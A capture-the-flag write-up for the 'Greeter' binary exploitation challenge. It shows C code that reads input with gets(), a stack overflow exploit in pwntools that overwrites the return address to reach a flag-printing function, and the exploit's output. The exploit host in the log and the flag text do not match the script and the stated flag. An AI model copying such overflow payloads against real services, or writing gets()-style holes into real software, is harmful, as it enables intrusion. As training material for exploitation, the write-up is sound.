# Greeter

Category: Binary Exploitation, Execution redirection
Created: Nov 5, 2020 12:45 PM
Points: 150
Solved: Yes
Subjective Difficulty: 🔥

# WriteUp:

Author: @Tibotix

## 🔎 Research:

When looking at the provided C code we can see a `WIN` function which obviously prints out the flag on the server:

```
void win() {
    puts("congrats! here's your flag:");
    char flagbuf[64];
    FILE* f = fopen("./flag.txt", "r");
    if (f == NULL) {
        puts("flag file not found!");
        exit(1);
    }
    fgets(flagbuf, 64, f);
    fputs(flagbuf, stdout);
    fclose(f);
}
```

So our goal is probably to redirect code execution to that function.

## 📝 Vulnerability Description:

When inspecting the main function we can see a basic BufferOveflow Vulnerability. Nothing more to say. We have no Canary or other BufferOverflow Mitigations.

## 🧠 Exploit Development:

Cause name is `64 bytes` long so we have to override `64bytes + rbp(8bytes) + return address(8bytes)` to WIN function:

```
int main() {
    /* disable stream buffering */
    setvbuf(stdin,  NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stderr, NULL, _IONBF, 0);

    char name[64];
```

```
    puts("What's your name?");
    gets(name);
    printf("Why hello there %s!\n", name);

    return 0;
}
```

Cause there is **no** PIE we have fixed function addresses.
WIN is at `0x401220`, so exploit looks as follows:

## Exploit Programm:

```
from pwn import *

WIN_address = 0x401220

payload = b"A"*64+b"BBBBBBBB"+p64(WIN_address)

#p = process("./greeter")
p = remote("challenges.ctfd.io", 30249)

p.recvline() #What's your name?
p.sendline(payload)
p.interactive()
```

## Run Exploit:

```
root@3340c47c6ced:/pwd/greeter# python3 exploit.py
[+] Opening connection to 192.168.1.161 on port 8080: Done
[*] Switching to interactive mode
Why hello there AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB \x12!
congrats! here's your flag:
nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}
[*] Got EOF while reading in interactive
```

**FLAG: nactf{n4v4r_us3_g3ts_5vlrDKJufaU0d8UR}**

## Summary / Difficulties:

Simple BufferOverflow. No challenging. Great to warm your brain up. 😉

## Further References:

- Stack based Buffer Overflows

## Used Tools:

- Pwndbg

---

# Notes:

-